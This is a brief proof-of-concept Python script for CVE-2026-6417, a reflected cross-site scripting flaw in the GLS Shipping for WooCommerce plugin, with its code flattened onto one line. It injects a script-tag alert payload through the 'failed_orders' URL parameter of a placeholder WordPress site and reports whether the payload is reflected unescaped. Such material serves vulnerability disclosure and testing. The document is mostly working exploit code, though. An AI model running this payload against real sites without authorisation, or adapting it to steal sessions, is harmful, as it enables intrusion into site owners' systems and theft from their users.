CVE-2026-6417

# Proof of Concept for CVE-2026-6417 # This script demonstrates the Reflected XSS vulnerability in GLS Shipping for WooCommerce import requests target_url = "http://example.com/wordpress/" # The vulnerable parameter is 'failed_orders' payload = "<script>alert('CVE-2026-6417_POC');</script>" # Construct the malicious URL exploit_url = f"{target_url}?failed_orders={payload}" print(f"[+] Testing target: {target_url}") print(f"[+] Exploit URL: {exploit_url}") try: # Send the request to trigger the vulnerability response = requests.get(exploit_url) # Check if the payload is reflected in the response (unescaped) if payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected unescaped.") else: print("[-] Vulnerability not detected or payload was escaped.") except Exception as e: print(f"[-] An error occurred: {e}")

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